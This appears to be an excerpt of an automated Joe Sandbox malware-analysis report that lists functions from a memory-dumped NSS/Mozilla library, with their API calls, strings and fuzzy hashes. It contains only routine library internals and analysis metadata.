Opcode Fuzzy Hash: 9f00a438e152552ec20c83b730be21643383756edaa782a1d43a775014e2eec3
Instruction Fuzzy Hash: 09213CB5A04A159FCB00AF78C088469BBF0FF0A355F118969DC98D7710EB34E895CB9A

Function 6C6109E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C6106A2,00000000,?), ref: 6C6109F8
malloc.MOZGLUE(0000001F), ref: 6C610A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C610A33

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_Free.NSS3(?), ref: 6C610A6C
PR_Free.NSS3(?), ref: 6C610A87

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: f00b3633cde411d58c6954f1883df118f394711cbbdbf09c9de96f4295f57827
Instruction ID: 5b2632968070f0c026829821909104c208d494456ac6a4f3d531fed30ae26f3d
Opcode Fuzzy Hash: f00b3633cde411d58c6954f1883df118f394711cbbdbf09c9de96f4295f57827
Instruction Fuzzy Hash: FA1136B1909B849BEF119F2DC98479377F8BF0234AF50593AD81682E01EB31F464C798

Function 6C638FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C640710), ref: 6C638FF1
PR_CallOnce.NSS3(6C782158,6C639150,00000000,?,?,?,6C639138,?,6C640710), ref: 6C639029
calloc.MOZGLUE(00000001,00000000,?,?,6C640710), ref: 6C63904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C640710), ref: 6C639066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C640710), ref: 6C639078

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction ID: 878905fd87245350ffbfb222b3d5235dc5b205099e609124fd17a7d6a407f006
Opcode Fuzzy Hash: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction Fuzzy Hash: 4311487170613157E72016AD9C04AA632ACEB827ADF502039FD4CC2B41FB1ACD45CBA9

Function 6C6B4AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6C6B4AD1), ref: 6C6B4B62
free.MOZGLUE(?,00015180,00000005,?,6C6B4AD1), ref: 6C6B4B76

Part of subcall function 6C6B03C0: CloseHandle.KERNEL32(?,?,?,?,6C6B4B27,?,?,00015180,00000005,?,6C6B4AD1), ref: 6C6B03E0
Part of subcall function 6C6B03C0: GetLastError.KERNEL32(?,6C6B4B27,?,?,00015180,00000005,?,6C6B4AD1), ref: 6C6B03FD

Part of subcall function 6C6B03C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6C6B4B27,?,?,00015180,00000005,?,6C6B4AD1), ref: 6C6B0419
Part of subcall function 6C6B03C0: free.MOZGLUE(?,?,6C6B4B27,?,?,00015180,00000005,?,6C6B4AD1), ref: 6C6B0420

CloseHandle.KERNEL32(?,00015180,00000005,?,6C6B4AD1), ref: 6C6B4B96
free.MOZGLUE(?,?,6C6B4AD1), ref: 6C6B4B9D
memset.VCRUNTIME140(6C782F9C,00000000,00000090,00015180,00000005,?,6C6B4AD1), ref: 6C6B4BB2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: eecf55657d04bd4def44caf400b3333b2d3f489a90289d07e49e8dcd86aaaf48
Instruction ID: cdb08f1851c9d22e5e755eb1507d212413571c92b59f5c951e8e3ed13e47445f
Opcode Fuzzy Hash: eecf55657d04bd4def44caf400b3333b2d3f489a90289d07e49e8dcd86aaaf48
Instruction Fuzzy Hash: C311E672B02510EBDE219A58DC09B6A7735BB0735AF200034F70967610E3719424D7EA

Function 6C64CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C661E10: TlsGetValue.KERNEL32 ref: 6C661E36
Part of subcall function 6C661E10: EnterCriticalSection.KERNEL32(?,?,?,6C63B1EE,2404110F,?,?), ref: 6C661E4B
Part of subcall function 6C661E10: PR_Unlock.NSS3 ref: 6C661E76

free.MOZGLUE(?,6C64D079,00000000,00000001), ref: 6C64CDA5
PK11_FreeSymKey.NSS3(?,6C64D079,00000000,00000001), ref: 6C64CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C64D079,00000000,00000001), ref: 6C64CDCF
DeleteCriticalSection.KERNEL32(?,6C64D079,00000000,00000001), ref: 6C64CDE2
free.MOZGLUE(?), ref: 6C64CDE9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction ID: 874269392193576dd4f91edbb821a363fbc37aa2e6fda86ac29ae335e34779e1
Opcode Fuzzy Hash: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction Fuzzy Hash: BD11A3B2B01125BBDF00AF65EC45D96776CBB053597108131E90A87E01E732E428C7E5

Function 6C6B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2CEC

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2D02
PR_EnterMonitor.NSS3(?), ref: 6C6B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6B2D42
PR_ExitMonitor.NSS3(?), ref: 6C6B2D5B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 2dc181a12940251ff2581a42434f5a286440a5a5c5196a7db19a0a0498bda2d6
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F901C8F1A042009BE6319F25FC40BC7B7E1EF4631CF004525E85996710D632F925C79B

Function 6C6B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2D9C

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6B2E0B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: a1ce74ce7efae3cb3bbc7001f8194fa578f1aed650908ebe74219746469c34ac
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: B101A5B1A052009BEA309F26FC05BC7B7E1EF4635CF000435E85996B10D632E926879B

Function 6C64AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?), ref: 6C64AEA3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction ID: d4beca6a824bb1d71d39e8879d8913dc523618c4877198226f96f8f8ed3ae699
Opcode Fuzzy Hash: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction Fuzzy Hash: 26012866B00020B7E701A12CAC81EEF31988B8765CF08C432E929C7B43F616C90753EF

Function 6C730930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C730C83), ref: 6C73094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C730C83), ref: 6C730974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730983
_PR_MD_UNLOCK.NSS3(?,?,6C730C83), ref: 6C73099F
OutputDebugStringA.KERNEL32(?,?,6C730C83), ref: 6C7309B2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: f71f02487001060473e429a21c31d896d7f71f049b56d5881a9758efd9dc85a5
Instruction ID: b0cb2e98bcadb8096abbeb53233b8094a816668628b12b01861d12419611c7bc
Opcode Fuzzy Hash: f71f02487001060473e429a21c31d896d7f71f049b56d5881a9758efd9dc85a5
Instruction Fuzzy Hash: 0D0129B47032509FDF01AF28CD49B563BB8AB47319F280275FAE98375ADA35E450CA25

Function 6C732A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732A5B
free.MOZGLUE(?), ref: 6C732A6D
strdup.MOZGLUE(?), ref: 6C732A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C732A96
PR_ExitMonitor.NSS3 ref: 6C732AB5

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: 9514588384d303f29f511f2b1cc266a03d8d3b1d65943db357152d479faef803
Instruction ID: e67981d331573243b00f33d95d7ba8093206645c0a5b5e62b408cd2f2fbd9673
Opcode Fuzzy Hash: 9514588384d303f29f511f2b1cc266a03d8d3b1d65943db357152d479faef803
Instruction Fuzzy Hash: 68F0A4B1F0613457DE21AF64AD097867634BF0368DF150130ED0996A06EB31D918C6DA

Function 6C737C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C737C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737C83
malloc.MOZGLUE(00000001), ref: 6C737C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C737C9F
PR_GetCurrentThread.NSS3 ref: 6C737CAD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction ID: 6979300b8875cc4a5a56324c41e5711a7760733da204fba30ab615125052ef7e
Opcode Fuzzy Hash: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction Fuzzy Hash: 84F0C2F191022AABEB009F3A9E0D997775CEF45269B118436E80DC3B01E731E514CAE9

Function 6C73ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE0D
free.MOZGLUE(?), ref: 6C73AE14
DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE36
free.MOZGLUE(?), ref: 6C73AE3D
free.MOZGLUE(00000000,00000000,?,?,6C73A6D8), ref: 6C73AE47

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction ID: 8eb390ff50a930e4da2965586d583c04dbc4ab80b6db0665755be242dd746e51
Opcode Fuzzy Hash: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction Fuzzy Hash: 9BF0F6B6201A29A7CE01AFA8D80A91777BCBF8A776710033CF12E83981D731E011C7E1

Function 6C5BBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C5BBE37

Strings

winFileSize, xrefs: 6C5BBF07
sl, xrefs: 6C5BBDD7
Psl, xrefs: 6C5BBED4

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: sl$Psl$winFileSize
API String ID: 4246442610-3042326240
Opcode ID: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction ID: f935569cab3085645f192ad5a790d506e193b0611e0c1054e96c032770cca209
Opcode Fuzzy Hash: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction Fuzzy Hash: 4061F131B04619DFCB04DF28C8E07A9BBB1FF4A314B144AA5E815ABB50D7B4E856CBD1

Function 6C5B88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C5B8990

Strings

@z\l, xrefs: 6C5B8A31

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset
String ID: @z\l
API String ID: 2221118986-2973521292
Opcode ID: 3c8dd682b4276db6d1aeaf82774fe149e8faebc2e3c1de7153c6caeeda1210fb
Instruction ID: 360630a6c0a1cf7ee8b9a998c6ad33946b4b65ac1f1fcdd1da53e760c642f2f7
Opcode Fuzzy Hash: 3c8dd682b4276db6d1aeaf82774fe149e8faebc2e3c1de7153c6caeeda1210fb
Instruction Fuzzy Hash: 9A51F471A057829FC704CF65C5946A6BFF0BF59308B24A69DC4885BB02D331F596CBE2

Function 6C5C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7D13, 6C5C7D1F, 6C5C7D47, 6C5C7D53, 6C5C7D5F
database corruption, xrefs: 6C5C7D29
%s at line %d of [%.10s], xrefs: 6C5C7D2E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction ID: 0770900bbcfdd9a89fd7644783f1fde0d1e6860f1b916f95a91d1c4e7004ae52
Opcode Fuzzy Hash: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction Fuzzy Hash: D8311471F0422997C710CF9ECC809BABBE1AF94385B5905AAE444B7F85D670D941C7A1

